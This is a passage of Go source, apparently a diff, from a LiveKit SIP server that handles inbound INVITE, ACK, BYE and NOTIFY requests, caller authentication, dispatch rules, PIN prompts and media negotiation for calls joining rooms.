log.Infow("SIP invite authentication successful") + return true, false +} + +func sdpBodyFromRequest(req *sip.Request) []byte { + ct := req.ContentType() + if ct != nil && ct.Value() != contentTypeSDP { + return nil + } + return req.Body() +} + +func providerLabel(p *livekit.ProviderInfo) string { + switch p.GetType() { + case livekit.ProviderType_PROVIDER_TYPE_INTERNAL: + internalPrefix := "internal/" + if name := p.GetName(); name != "" { + return internalPrefix + strings.ToLower(name) + } + + return internalPrefix + stats.ProviderUnknown + case livekit.ProviderType_PROVIDER_TYPE_EXTERNAL: + // External names are customer-supplied trunk names, left out to keep the label bounded. + return "external" + default: + return stats.ProviderUnknown + } +} + +func (s *Server) onInvite(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + // Error processed in defer + _ = s.processInvite(req, tx) +} + +func (s *Server) processInvite(req *sip.Request, tx sip.ServerTransaction) (retErr error) { + start := time.Now() + ctx := context.Background() + ctx, span := Tracer.Start(ctx, "sip.Server.processInvite") + defer span.End() + + var state *CallState + defer func() { + if state == nil { + return + } + state.Update(func(info *livekit.SIPCallInfo) { + if err := retErr; err != nil && info.Error == "" { + info.CallStatus = livekit.SIPCallStatus_SCS_ERROR + info.Error = err.Error() + } else { + info.CallStatus = livekit.SIPCallStatus_SCS_DISCONNECTED + } + info.EndedAtNs = time.Now().UnixNano() + }) + }() + s.mon.InviteReqRaw(stats.Inbound) + + src, err := netip.ParseAddrPort(req.Source()) + if err != nil { + tx.Terminate() + s.log.Errorw("cannot parse source IP", err, "fromIP", src) + return psrpc.NewError(psrpc.MalformedRequest, fmt.Errorf("cannot parse source IP: %w", err)) + } + tr := callTransportFromReq(req) + + cc, err := s.newInbound(req, tx, src) + if err != nil { + s.log.Errorw("invalid invite", err) + if !s.conf.HideInboundPort { + r := sip.NewResponseFromRequest(req, sip.StatusBadRequest, "Bad request", nil) + r.AppendHeader(sip.HeaderClone(allowHeader)) + _ = tx.Respond(r) + } + tx.Terminate() + return psrpc.NewError(psrpc.InvalidArgument, fmt.Errorf("invite validation failed: %w", err)) + } + tid := traceid.FromGUID(string(cc.ID())) + log := cc.log.WithValues("transport", tr, "tid", tid.String()) + cc.log = log + + // Replay cached final rejection for retries reusing the same Call-ID + + // From-tag (e.g. provider-level failover after a 4xx). Skips creating + // a duplicate call object and the OnSessionEnd side-effects that follow. + if s.rejectedInvites != nil { + if prev, ok := s.rejectedInvites.Get([2]string{cc.SIPCallID(), string(cc.Tag())}); ok { + log.Debugw("replaying cached INVITE rejection", "status", prev.status, "reason", prev.reason) + cc.RespondAndDrop(prev.status, prev.reason) + return nil + } + } + + log.Infow("processing invite") + + s.cmu.RLock() + existing := s.byLocalTag[cc.ID()] + s.cmu.RUnlock() + if existing != nil && existing.cc.InviteCSeq() < cc.InviteCSeq() { + if existing.lateAnswerPending.Load() { + existing.log().Infow("rejecting reinvite, late answer pending", "cseq", cc.InviteCSeq()) + cc.RejectAsKeepAlive(statusRequestPending, "Request Pending") + return nil + } + existing.log().Infow("reinvite", "content-length", req.ContentLength(), "cseq", cc.InviteCSeq()) + if err := existing.updateRemoteFromSDP(sdpBodyFromRequest(req)); err != nil { + log.Errorw("failed to update inbound call SDP", err) + if ok := errors.As(err, &SDPError{}); ok { + cc.RejectAsKeepAlive(sip.StatusBadRequest, "Bad Request") + } else { + cc.RejectAsKeepAlive(sip.StatusInternalServerError, "Internal Server Error") + } + return nil + } + // TODO(alexfish): Reply with the new SDP. + cc.AcceptAsKeepAlive(existing.cc.OwnSDP()) + return nil + } + if s.cli != nil { // Process reinvite for existing outbound calls + // TODO(alexfish): Consider moving this to outbound + oc := s.cli.getActiveCall(cc.ID()) + newCSeq := cc.InviteCSeq() + + // TODO(alexfish): Reply with an error if the new sequence number is + // strictly less than the existing one. + if oc != nil && oc.cc.InviteCSeq() < newCSeq { + localSDP, err := oc.media.GetLocalSDP() + if err != nil || len(localSDP) == 0 { + oc.log.Errorw("outbound call does not have an SDP", err) + cc.RejectAsKeepAlive(statusRequestPending, "Request Pending") + return nil + } + oc.log.Infow("accepting reinvite", "content-length", req.ContentLength(), "cseq", cc.InviteCSeq()) + if err := oc.updateRemoteFromSDP(sdpBodyFromRequest(req)); err != nil { + log.Errorw("failed to update outbound call SDP", err) + if ok := errors.As(err, &SDPError{}); ok { + cc.RejectAsKeepAlive(sip.StatusBadRequest, "Bad Request") + } else { + cc.RejectAsKeepAlive(sip.StatusInternalServerError, "Internal Server Error") + } + return nil + } + oc.cc.RecordInvite(newCSeq) + // TODO(alexfish): Reply with the new SDP. + cc.AcceptAsKeepAlive(localSDP) + return nil + } + + } + + from, to := cc.From(), cc.To() + + cmon := s.mon.NewCall(stats.Inbound, from.Host, to.Host) + cmon.InviteReq() + defer cmon.SessionDur()() + var checkDurOnce sync.Once + checkDur := cmon.CheckDur() + checked := func() { + checkDurOnce.Do(func() { + checkDur(time.Since(start)) + }) + } + defer checked() + joinDur := cmon.JoinDur() + + var tryingTime time.Time + if !s.conf.HideInboundPort { + cc.Processing() + tryingTime = time.Now() + } + + callInfo := &rpc.SIPCall{ + LkCallId: string(cc.ID()), + SipCallId: cc.SIPCallID(), + SourceIp: src.Addr().String(), + Address: ToSIPUri("", cc.Address()), + From: ToSIPUri("", from), + To: ToSIPUri("", to), + } + rheaders := cc.RemoteHeaders() + s.handler.OnInboundInfo(log, callInfo, rheaders) + for _, h := range rheaders { + switch h := h.(type) { + case *sip.ViaHeader: + callInfo.Via = append(callInfo.Via, &livekit.SIPUri{ + Host: h.Host, + Port: uint32(h.Port), + Transport: SIPTransportFrom(Transport(h.Transport)), + }) + } + } + + tauth := cmon.StageDurTimer("get-auth") + r, err := s.handler.GetAuthCredentials(ctx, callInfo) + tauth() + checked() + if err != nil { + cmon.InviteErrorShort(stats.ServerError("auth-error")) + log.Warnw("Rejecting inbound, auth check failed", err) + cc.RespondAndDrop(sip.StatusServiceUnavailable, "Try again later") + return psrpc.NewError(psrpc.PermissionDenied, fmt.Errorf("rejecting inbound, auth check failed: %w", err)) + } + if r.ProjectID != "" { + log = log.WithValues("projectID", r.ProjectID) + } + if r.TrunkID != "" { + log = log.WithValues("sipTrunk", r.TrunkID) + } + cmon.SetProvider(providerLabel(r.ProviderInfo)) + + initial := &livekit.SIPCallInfo{ + CallId: string(cc.ID()), + Region: s.region, + FromUri: CreateURIFromUserAndAddress(cc.From().User, src.String(), tr).ToSIPUri(), + ToUri: CreateURIFromUserAndAddress(cc.To().User, cc.To().Host, tr).ToSIPUri(), + CallStatus: livekit.SIPCallStatus_SCS_CALL_INCOMING, + CallDirection: livekit.SIPCallDirection_SCD_INBOUND, + CreatedAtNs: time.Now().UnixNano(), + TrunkId: r.TrunkID, + ProviderInfo: r.ProviderInfo, + SipCallId: cc.SIPCallID(), + } + state = NewCallState(s.getStateHandler(r.ProjectID, r.Observability, initial), initial) + state.Flush() + + switch r.Result { + case AuthDrop: + cmon.InviteErrorShort(stats.ClientError("flood")) + log.Debugw("Dropping inbound flood") + cc.Drop() + return psrpc.NewErrorf(psrpc.PermissionDenied, "call was not authorized by trunk configuration") + case AuthNotFound: + cmon.InviteErrorShort(stats.ClientError("no-rule")) + log.Warnw("Rejecting inbound, doesn't match any Trunks", nil) + cc.RespondAndDrop(sip.StatusNotFound, "Does not match any SIP Trunks") + return psrpc.NewErrorf(psrpc.NotFound, "no trunk configuration for call") + case AuthQuotaExceeded: + cmon.InviteErrorShort(stats.ClientError("quota-exceeded")) + log.Warnw("Rejecting inbound, quota exceeded", nil) + cc.RespondAndDrop(sip.StatusServiceUnavailable, "Service temporarily unavailable") + return psrpc.NewErrorf(psrpc.ResourceExhausted, "quota limit exceeded") + case AuthNoTrunkFound: + cmon.InviteErrorShort(stats.ClientError("no-trunk")) + log.Warnw("Rejecting inbound, no trunk found", nil) + cc.RespondAndDrop(sip.StatusNotFound, "No trunk found") + return psrpc.NewErrorf(psrpc.NotFound, "no trunk found for call") + case AuthPassword: + if s.conf.HideInboundPort { + // We will send password request anyway, so might as well signal that the progress is made. + cc.Processing() + tryingTime = time.Now() + } + sipCallID := "" + if h := req.CallID(); h != nil { + sipCallID = h.Value() + } + inviteState := s.getInvite(sipCallID) + // New INVITE supersedes any pending 407-challenge timer for this Call-ID. + inviteState.authResolved.Store(true) + + s.getCallInfo(cc.ID()).countInvite(log, req) + if ok, challenge := s.handleInviteAuth(tid, log, req, tx, from.User, r.Auth); !ok { + // Store (call-ID + from tag) to (to tag) mapping + s.cmu.Lock() + s.provisionalInvites.Add([2]string{cc.SIPCallID(), string(cc.Tag())}, cc.ID()) + s.cmu.Unlock() + cmon.InviteErrorShort(stats.ClientError("unauthorized")) + if challenge { + // 407 sent: defer finalization to the timer or the next INVITE, + // not the deferred handler at the top of processInvite. + inviteState.scheduleAuthChallengeTimeout(state, log) + state = nil + } + // handleInviteAuth will generate the SIP Response as needed + return psrpc.NewErrorf(psrpc.PermissionDenied, "invalid credentials were provided") + } + // ok + case AuthAccept: + s.getCallInfo(cc.ID()).countInvite(log, req) + // ok + } + + call := s.newInboundCall(ctx, tid, log, cmon, cc, callInfo, state, start, nil) + cc.SetCall(call) + call.joinDur = joinDur + call.sigTs.InviteTime = start + call.sigTs.TryingTime = tryingTime + return call.handleInvite(call.ctx, tid, req, r.TrunkID, s.conf) +} + +func (s *Server) onOptions(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusOK, "OK", nil)) +} + +func (s *Server) onAck(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + tag, err := GetLocalTagUAS(req) + if err != nil { + return + } + s.cmu.RLock() + c := s.byLocalTag[tag] + s.cmu.RUnlock() + if c == nil { + return + } + c.log().Infow("ACK from remote") + c.cc.AcceptAck(req, tx) +} + +func (s *Server) onBye(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + tag, err := GetLocalTagUAS(req) + if err != nil { + _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusBadRequest, "", nil)) + return + } + + s.cmu.RLock() + c := s.byLocalTag[tag] + s.cmu.RUnlock() + if c != nil { + c.cc.AcceptBye(req, tx) + var ( + reason ReasonHeader + rawReason string + ) + if h := req.GetHeader("Reason"); h != nil { + rawReason = h.Value() + reason, err = ParseReasonHeader(rawReason) + if err != nil { + c.log().Warnw("cannot parse reason header", err, "reason-raw", rawReason) + } + } + c.log().Infow("BYE from remote", + "reason-type", reason.Type, + "reason-cause", reason.Cause, + "reason-text", reason.Text, + "reason-raw", rawReason, + ) + c.Bye(reason) + return + } + ok := false + if s.sipUnhandled != nil { + ok = s.sipUnhandled(req, tx) + } + if !ok { + s.log.Infow("BYE for non-existent call", "callID", tag) + _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusCallTransactionDoesNotExists, "Call does not exist", nil)) + } +} + +func (s *Server) OnNoRoute(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + callID := "" + if h := req.CallID(); h != nil { + callID = h.Value() + } + from := "" + if h := req.From(); h != nil { + from = h.Address.String() + } + to := "" + toTag := "" + if h := req.To(); h != nil { + to = h.Address.String() + toTag = h.Params.GetOr("tag", "") + } + s.log.Infow("Inbound SIP request not handled", + "method", req.Method.String(), + "sipCallID", callID, + "callID", toTag, + "from", from, + "to", to) + tx.Respond(sip.NewResponseFromRequest(req, 405, "Method Not Allowed", nil)) +} + +func (s *Server) onNotify(log *slog.Logger, req *sip.Request, tx sip.ServerTransaction) { + tag, err := GetLocalTagUAS(req) + if err != nil { + _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusBadRequest, "", nil)) + return + } + + s.cmu.RLock() + c := s.byLocalTag[tag] + s.cmu.RUnlock() + if c != nil { + c.log().Infow("NOTIFY") + err := c.cc.handleNotify(req, tx) + + code, msg := sipCodeAndMessageFromError(err) + + tx.Respond(sip.NewResponseFromRequest(req, code, msg, nil)) + + return + } + ok := false + if s.sipUnhandled != nil { + ok = s.sipUnhandled(req, tx) + } + if !ok { + s.log.Infow("NOTIFY for non-existent call") + _ = tx.Respond(sip.NewResponseFromRequest(req, sip.StatusCallTransactionDoesNotExists, "Call does not exist", nil)) + } +} + +type inboundCall struct { + s *Server + tid traceid.ID + logPtr atomic.Pointer[logger.Logger] + cc *sipInbound + mon *stats.CallMonitor + state *CallState + callStart time.Time + extraAttrs map[string]string + attrsToHdr map[string]string + ctx context.Context + cancel func() + closeReason atomic.Pointer[ReasonHeader] + call *rpc.SIPCall + mmu sync.Mutex + media MediaPort + mediaCodecs *msdk.CodecSet + dtmf chan dtmf.Event // buffered + endCall chan EndCall // buffered + lkRoom RoomInterface // LiveKit room; only active after correct pin is entered + callDur func() time.Duration + joinDur func() time.Duration + done atomic.Bool + started core.Fuse + lateAnswerPending atomic.Bool // later offer generated, answer pending + stats Stats + sigTs SignalingTimestamps + jitterBuf bool + projectID string +} + +func (s *Server) newInboundCall( + ctx context.Context, + tid traceid.ID, + log logger.Logger, + mon *stats.CallMonitor, + cc *sipInbound, + call *rpc.SIPCall, + state *CallState, + callStart time.Time, + extra map[string]string, +) *inboundCall { + ctx = context.WithoutCancel(ctx) + // Map known headers immediately on join. The rest of the mapping will be available later. + extra = HeadersToAttrs(extra, nil, 0, cc, nil) + c := &inboundCall{ + s: s, + tid: tid, + callStart: callStart, + mon: mon, + cc: cc, + call: call, + state: state, + extraAttrs: extra, + dtmf: make(chan dtmf.Event, 10), + endCall: make(chan EndCall, 1), + jitterBuf: SelectValueBool(s.conf.EnableJitterBuffer, s.conf.EnableJitterBufferProb), + projectID: "", // Will be set in handleInvite when available + } + c.stats.Update() + c.setLog(log.WithValues("jitterBuf", c.jitterBuf)) + // we need it created earlier so that the audio mixer is available for pin prompts + c.lkRoom = s.getRoom(c.log(), &c.stats.Room) + c.ctx, c.cancel = context.WithCancel(ctx) + s.cmu.Lock() + s.byLocalTag[cc.ID()] = c + s.cmu.Unlock() + return c +} + +func (c *inboundCall) setLog(log logger.Logger) { + c.logPtr.Store(&log) +} + +func (c *inboundCall) log() logger.Logger { + ptr := c.logPtr.Load() + if ptr == nil { + return nil + } + return *ptr +} + +func (c *inboundCall) appendLogValues(kvs ...any) { + c.setLog(c.log().WithValues(kvs...)) +} + +func (c *inboundCall) mediaTimeout(ctx context.Context) error { + if c.cc == nil { + c.closeWithTimeout(ctx, true) + return psrpc.NewErrorf(psrpc.DeadlineExceeded, "media timeout") + } + if !c.cc.GotACK() { + c.log().Warnw("Media timeout after missing ACK", errNoACK) + c.closeWithNoACK(ctx) + return psrpc.NewError(psrpc.DeadlineExceeded, errNoACK) + } + c.closeWithTimeout(ctx, false) + return nil // logged as a warning in close +} + +func (c *inboundCall) handleInvite(ctx context.Context, tid traceid.ID, req *sip.Request, trunkID string, conf *config.Config) error { + ctx, span := Tracer.Start(ctx, "sip.inbound.handleInvite") + defer span.End() + c.mon.InviteAccept() + c.mon.CallStart() + defer c.mon.CallEnd() + defer c.closeWithTerm(ctx, stats.ServerError("other")) + + // Extract and store the SIP call ID from the request + if h := req.CallID(); h != nil { + c.call.SipCallId = h.Value() + } + + c.cc.StartRinging() + c.sigTs.RingingTime = time.Now() + // Send initial request. In the best case scenario, we will immediately get a room name to join. + // Otherwise, we could even learn that this number is not allowed and reject the call, or ask for pin if required. + tdisp := c.mon.StageDurTimer("eval-dispatch") + disp := c.s.handler.DispatchCall(ctx, &CallInfo{ + TrunkID: trunkID, + Call: c.call, + Pin: "", + NoPin: false, + }) + tdisp() + if disp.MediaConfig == nil { + disp.MediaConfig = &livekit.SIPMediaConfig{} + } + mconf, err := newMediaConfig(disp.MediaConfig, c.s.conf.MediaTimeout) + if err != nil { + c.log().Errorw("Cannot create media config", err) + c.cc.RespondAndDrop(sip.StatusInternalServerError, "") + c.closeWithTerm(ctx, stats.ServerError("media-config-error")) + return psrpc.NewError(psrpc.Internal, err) + } + if disp.ProjectID != "" { + c.appendLogValues("projectID", disp.ProjectID) + c.projectID = disp.ProjectID + } + if disp.TrunkID != "" { + c.appendLogValues("sipTrunk", disp.TrunkID) + } + if disp.DispatchRuleID != "" { + c.appendLogValues("sipRule", disp.DispatchRuleID) + } + + c.state.Update(func(info *livekit.SIPCallInfo) { + info.TrunkId = disp.TrunkID + info.DispatchRuleId = disp.DispatchRuleID + info.RoomName = disp.Room.RoomName + info.ParticipantIdentity = disp.Room.Participant.Identity + info.ParticipantAttributes = maps.Clone(disp.Room.Participant.Attributes) + info.MediaEncryption = disp.MediaConfig.GetEncryption().String() + info.EnabledFeatures = disp.EnabledFeatures + // Set callidfull in participant attributes for backwards compatibility + if c.call.SipCallId != "" { + if info.ParticipantAttributes == nil { + info.ParticipantAttributes = make(map[string]string) + } + info.ParticipantAttributes[AttrSIPCallIDFull] = c.call.SipCallId + } + }) + + var pinPrompt bool + switch disp.Result { + default: + err := fmt.Errorf("unexpected dispatch result: %v", disp.Result) + c.log().Errorw("Rejecting inbound call", err) + c.cc.RespondAndDrop(sip.StatusNotImplemented, "") + c.closeWithTerm(ctx, stats.ServerError("unexpected-result")) + return psrpc.NewError(psrpc.Unimplemented, err) + case DispatchNoRuleDrop: + c.log().Debugw("Rejecting inbound flood") + c.cc.Drop() + c.close(ctx, EndCall{ + Status: callFlood, + Term: stats.ClientError("flood"), + }) + return psrpc.NewErrorf(psrpc.PermissionDenied, "call was not authorized by trunk configuration") + case DispatchNoRuleReject: + c.log().Infow("Rejecting inbound call, doesn't match any Dispatch Rules") + c.cc.RespondAndDrop(sip.StatusNotFound, "Does not match Trunks or Dispatch Rules") + c.closeWithTerm(ctx, stats.ClientError("no-dispatch")) + return psrpc.NewErrorf(psrpc.NotFound, "no trunk configuration for call") + case DispatchServiceUnavailable: + c.log().Warnw("Rejecting inbound call, dispatch evaluation failed", nil) + c.cc.RespondAndDrop(sip.StatusServiceUnavailable, "Try again later") + c.closeWithTerm(ctx, stats.ServerError("dispatch-error")) + return psrpc.NewErrorf(psrpc.Unavailable, "dispatch rule evaluation unavailable") + case DispatchAccept: + pinPrompt = false + case DispatchRequestPin: + pinPrompt = true + } + + sdpOffer := req.Body() + log := c.log() + if h := req.ContentLength(); h != nil { + log = log.WithValues("contentLength", int(*h)) + } + if h := req.ContentType(); h != nil { + log = log.WithValues("contentType", h.Value()) + switch h.Value() { + default: + log.Infow("unsupported offer type") + case contentTypeSDP: + } + } else { + log.Infow("no offer type specified") + } + + rejectMedia := func(err error) error { + sipReason := sip.StatusInternalServerError + log := log.WithValues("sdp", string(sdpOffer)) + status, term := callDropped, stats.ServerError("media-failed") + if errors.Is(err, sdp.ErrNoCommonMedia) { + status, term = callMediaFailed, stats.ClientError("no-common-codec") + sipReason = sip.StatusBadRequest + } else if errors.Is(err, sdp.ErrNoCommonCrypto) { + status, term = callMediaFailed, stats.ClientError("no-common-crypto") + sipReason = sip.StatusBadRequest + } else if errors.Is(err, errDTLSSDP) { + status, term = callMediaFailed, stats.ClientError("dtls-sdp-error") + sipReason = sip.StatusNotAcceptableHere + } else if e := (SDPError{}); errors.As(err, &e) { + status, term = callMediaFailed, stats.ClientError("sdp-error") + sipReason = sip.StatusBadRequest + } + if sipReason >= 500 { + log.Errorw("Cannot start media", err) + } else { + log.Warnw("Cannot start media", err) + } + c.cc.RespondAndDrop(sipReason, "") + c.close(ctx, EndCall{ + Status: status, + Term: term, + }) + return err + } + + // If we do not wait for ACK during Accept, we could wait for it later. + // Otherwise, leave channels nil, so that they never trigger. + var ( + ackReceived <-chan struct{} + ackTimeout <-chan time.Time + ) + + if err := c.createMediaPort(mconf, conf, disp.FeatureFlags); err != nil { + return rejectMedia(err) + } + + var sdpBody []byte // To be sent with 200 OK + var expectingLateAnswer bool + if len(sdpOffer) == 0 { + if !featureFlagEnabled(disp.FeatureFlags, lateOfferFeatureFlag) { + err := SDPError{Err: fmt.Errorf("received INVITE without offer, late offer disabled")} + return rejectMedia(err) + } + log.Infow("later offer enabled") + expectingLateAnswer = true + c.lateAnswerPending.Store(true) + sdpBody, err = c.media.GenerateOffer() + if err != nil { + return rejectMedia(err) + } + c.mon.SDPSize(len(sdpBody), true, false) + } else { + c.mon.SDPSize(len(sdpOffer), true, true) + sdpBody, err = c.negotiateMedia(sdpOffer) + if err != nil { + return rejectMedia(err) + } + c.mon.SDPSize(len(sdpBody), false, false) + } + + ok := false + if pinPrompt { + c.connectPinDTMF() + if ok, ackTimeout, err = c.acceptCallAndWaitForMedia(ctx, disp, sdpBody, mconf.MediaTimeout, expectingLateAnswer); !ok { + return err // could be success if the caller hung up + } + disp, ok, err = c.pinPrompt(ctx, trunkID) + if !ok { + return err // already sent a response. Could be success if user hung up + } + } + + p := &disp.Room.Participant + p.Attributes = HeadersToAttrs(p.Attributes, disp.HeadersToAttributes, disp.IncludeHeaders, c.cc, nil) + if disp.MaxCallDuration <= 0 || disp.MaxCallDuration > maxCallDuration { + disp.MaxCallDuration = maxCallDuration + } + if disp.RingingTimeout <= 0 { + disp.RingingTimeout = defaultRingingTimeout + } + disp.Room.JitterBuf = c.jitterBuf + disp.Room.LogSignalChanges, _ = strconv.ParseBool(disp.FeatureFlags[signalLoggingFeatureFlag]) + ctx, cancel := context.WithTimeout(ctx, disp.MaxCallDuration) + defer cancel() + status := CallRinging + if pinPrompt { + status = CallActive + } + + if err := c.joinRoom(ctx, disp.Room, status); err != nil { + return fmt.Errorf("failed joining room: %w", err) + } + // Publish our own track. + if err := c.publishTrack(disp.EnabledFeatures, disp.FeatureFlags); err != nil { + c.log().Errorw("Cannot publish track", err) + c.closeWithTerm(ctx, stats.ServerError("publish-failed")) + return fmt.Errorf("publishing track to room failed: %w", err) + } + tsub := c.mon.StageDurTimer("track-subscribe") + c.lkRoom.Subscribe() + tsub() + if !pinPrompt { + c.log().Infow("Waiting for track subscription(s)") + // For dispatches without pin, we first wait for LK participant to become available, + // and also for at least one track subscription. In the meantime we keep ringing. + if ok, err := c.waitSubscribe(ctx, disp.RingingTimeout); !ok { + return err // already sent a response. Could be success if caller hung up + } + if ok, ackTimeout, err = c.acceptCallAndWaitForMedia(ctx, disp, sdpBody, mconf.MediaTimeout, expectingLateAnswer); !ok { + return err // already sent a response. Could be success if caller hung up + } + } + + c.state.Update(func(info *livekit.SIPCallInfo) { + info.StartedAtNs = time.Now().UnixNano() + info.CallStatus = livekit.SIPCallStatus_SCS_ACTIVE + if r := c.lkRoom.Room(); r != nil { + info.RoomId = r.SID() + info.RoomName = r.Name() + info.ParticipantAttributes = r.LocalParticipant.Attributes() // clones + } + }) + + c.started.Break() + + if !expectingLateAnswer && !conf.Experimental.InboundWaitACK { + ackReceived = c.cc.InviteACK() + } + + return c.waitForCallEnd(ctx, ackReceived, ackTimeout, mconf.MediaTimeout) +} + +func (c *inboundCall) acceptCall(ctx context.Context, disp CallDispatch, sdpData []byte, waitForAck bool) error { + headers := disp.Headers + c.attrsToHdr = disp.AttributesToHeaders + if r := c.lkRoom.Room(); r != nil { + headers = AttrsToHeaders(r.LocalParticipant.Attributes(), c.attrsToHdr, headers) + } + c.log().Infow("Accepting the call", "headers", headers) + taccept := c.mon.StageDurTimer("sip-accept") + err := c.cc.Accept(ctx, sdpData, headers, waitForAck) + taccept() + c.sigTs.AcceptTime = time.Now() + if errors.Is(err, errNoACK) { + c.log().Errorw("Call accepted, but no ACK received", err) + c.closeWithNoACK(ctx) + return err + } else if err != nil { + c.log().Errorw("Cannot accept the call", err) + c.close(ctx, EndCall{ + Status: callAcceptFailed, + Term: stats.ServerError("accept-failed"), + }) + return err + } + return nil +} + +func (c *inboundCall) waitForMedia(ctx context.Context, mediaTimeout time.Duration) (bool, error) { + c.media.SetTimeout(c.s.conf.MediaTimeoutInitial, mediaTimeout) // Only enable media timeout once we send back SDP. + // Attach room outputs + if old := c.lkRoom.WriteOutboundAudioTo(c.media.GetOutboundAudioWriter()); old != nil { + c.log().Warnw("room has unexpected outbound audio writer", nil) + old.Close() + } + if old := c.lkRoom.WriteOutboundDTMFTo(c.media.GetOutboundDTMFWriter()); old != nil { + c.log().Warnw("room has unexpected outbound audio DTMF writer", nil) + old.Close() + } + if ok, err := c.waitMedia(ctx); !ok { + return false, err + } + c.setStatus(CallActive) + return true, nil +} + +func (c *inboundCall) acceptCallAndWaitForMedia(ctx context.Context, disp CallDispatch, sdpResponseBody []byte, mediaTimeout time.Duration, expectingLateAnswer bool) (bool, <-chan time.Time, error) { + defer c.mon.StageDurTimer("call-accept")() + waitForAck := expectingLateAnswer || c.s.conf.Experimental.InboundWaitACK + if err := c.acceptCall(ctx, disp, sdpResponseBody, waitForAck); err != nil { + return false, nil, err + } + var ackTimeout <-chan time.Time + if !waitForAck { + // Start this timer right after the Accept. + ackTimeout = time.After(inviteOkAckLateTimeout) + } + + if expectingLateAnswer { + ack := c.cc.Ack() + if ack == nil { + c.log().Errorw("ack not found", nil) + return false, nil, fmt.Errorf("ack not found") + } + + // The offer should now be here. + sdp := ack.Body() + if h := ack.ContentType(); h != nil { + if h.Value() != contentTypeSDP { + c.log().Infow("unsupported content type", "contentType", h.Value()) + } + } + c.mon.SDPSize(len(sdp), false, true) + if err := c.negotiateMediaForLateAnswer(sdp); err != nil { + return false, nil, err + } + } + + ok, err := c.waitForMedia(ctx, mediaTimeout) + return ok, ackTimeout, err +} + +func (c *inboundCall) waitForCallEnd(ctx context.Context, ackReceived <-chan struct{}, ackTimeout <-chan time.Time, mediaTimeout time.Duration) error { + ctx, span := Tracer.Start(ctx, "sip.inbound.waitForCallEnd") + defer span.End() + // Wait for the caller to terminate the call. Send regular keep alives. + ticker := time.NewTicker(stateUpdateTick) + defer ticker.Stop() + + statsTicker := time.NewTicker(statsInterval) + defer statsTicker.Stop() + for { + select { + case <-statsTicker.C: + c.stats.Update() + c.printStats(c.log()) + case <-ticker.C: + c.log().Debugw("sending keep-alive") + c.state.ForceFlush() + case <-ctx.Done(): + c.closeWithHangup(ctx) + return nil + case end := <-c.endCall: + c.close(ctx, end) + return nil + case <-c.lkRoom.Closed(): + roomReason := c.lkRoom.ClosedReason() + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.DisconnectReason = disconnectReasonFromRoomClose(roomReason) + }) + c.closeWithTerm(ctx, terminationFromRoomDisconnect(roomReason)) + return nil + case <-c.media.MediaTimeout(): + return c.mediaTimeout(ctx) + case <-ackReceived: + ackTimeout = nil // all good, disable timeout + ackReceived = nil + case <-ackTimeout: + // Only warn, the other side still thinks the call is active, media may be flowing. + c.log().Warnw("Call accepted, but no ACK received", errNoACK) + + // Today we seek to enforce all calls to be ACKed or dropped. + // Sometimes, though, we do not see ACKs for invites (e.g due to possible + // issues with load balancing). + // To accommodate this issue, instead of ending the call right here, we instead + // set an aggressive timeout as a softer fallback. + // If the issue really is a dropped ACK, media is expected to flow shortly, + // allowing us to accommodate this eventuality. If, however, there is no media + // observed, the call still ends quickly. + // Once ACKs are certain to be reliable, we will end the call here. + c.media.SetTimeout(min(inviteOkAckLateTimeout, c.s.conf.MediaTimeoutInitial), mediaTimeout) + } + } +} + +type pinDTMFWriter struct { + dtmfEvents chan<- dtmf.Event +} + +func (w *pinDTMFWriter) String() string { + return "pinDTMFWriter" +} + +func (w *pinDTMFWriter) SampleRate() int { + return dtmf.SampleRate +} + +func (w *pinDTMFWriter) Close() error { + return nil +} + +func (w *pinDTMFWriter) WriteSample(sample string) error { + if len(sample) != 1 { + return fmt.Errorf("invalid DTMF sample length %d: %v", len(sample), sample) + } + code, tones := dtmf.Tone(byte(sample[0])) + if len(tones) == 0 { + return fmt.Errorf("invalid DTMF sample %v", sample) + } + ev := dtmf.Event{ + Code: byte(code), + Digit: sample[0], + } + // We should have enough buffer here. + select { + case w.dtmfEvents <- ev: + default: + } + return nil +} + +func (c *inboundCall) createMediaPort(mconf *sipMediaConfig, conf *config.Config, featureFlags map[string]string) error { + c.mmu.Lock() + defer c.mmu.Unlock() + if c.media != nil { + return nil + } + + logSignalChanges, _ := strconv.ParseBool(featureFlags[signalLoggingFeatureFlag]) + mp, err := NewMediaPort(c.log(), c.mon, &MediaOptions{ + IP: c.s.sconf.MediaIP, + Ports: conf.RTPPort, + MediaTimeoutInitial: c.s.conf.MediaTimeoutInitial, + MediaTimeout: mconf.MediaTimeout, + SymmetricRTP: conf.SymmetricRTP, + IgnoreLocalAddrInSDP: c.s.conf.IgnoreLocalAddrInSDP, + EnableJitterBuffer: c.jitterBuf, + LogSignalChanges: logSignalChanges, + Stats: &c.stats.Port, + DrainingIdleTimeout: conf.RTPDrainingIdleTimeout, + DrainingDuration: conf.RTPDrainingDuration, + Codecs: mconf.Codecs, + Encryption: mconf.Encryption, + DTMFAudio: conf.AudioDTMF, + DTLSEnabled: conf.DTLSSRTP.Enabled, + DTLSCertificate: c.s.dtlsCertificate, + DTLSHandshakeTimeout: conf.DTLSSRTP.HandshakeTimeout, + }, RoomSampleRate) + if err != nil { + return err + } + c.media = mp + c.mediaCodecs = mconf.Codecs + + // Do not attach room outputs yet, we dont necessarily want it plumbed yet + + return nil +} + +func (c *inboundCall) connectPinDTMF() { + if old := c.media.WriteInboundDTMFTo(&pinDTMFWriter{c.dtmf}); old != nil { + c.log().Warnw("media port has unexpected inbound DTMF writer", nil) + old.Close() + } +} + +// REQUIRES: c.mmu is held. +func (c *inboundCall) updateCallStateAudioLocked() error { + audio := c.media.NegotiatedAudio() + if audio == nil { + return fmt.Errorf("media does not have negotiated audio") + } + c.state.DeferUpdate(func(info *livekit.SIPCallInfo) { + info.AudioCodec = audio.Codec.Info().SDPName + }) + return nil +} + +func (c *inboundCall) negotiateMedia(sdpOffer []byte) ([]byte, error) { + c.mmu.Lock() + defer c.mmu.Unlock() + if c.media == nil { + return nil, errors.New("media port not created") + } + if c.media.NegotiatedAudio() != nil { + 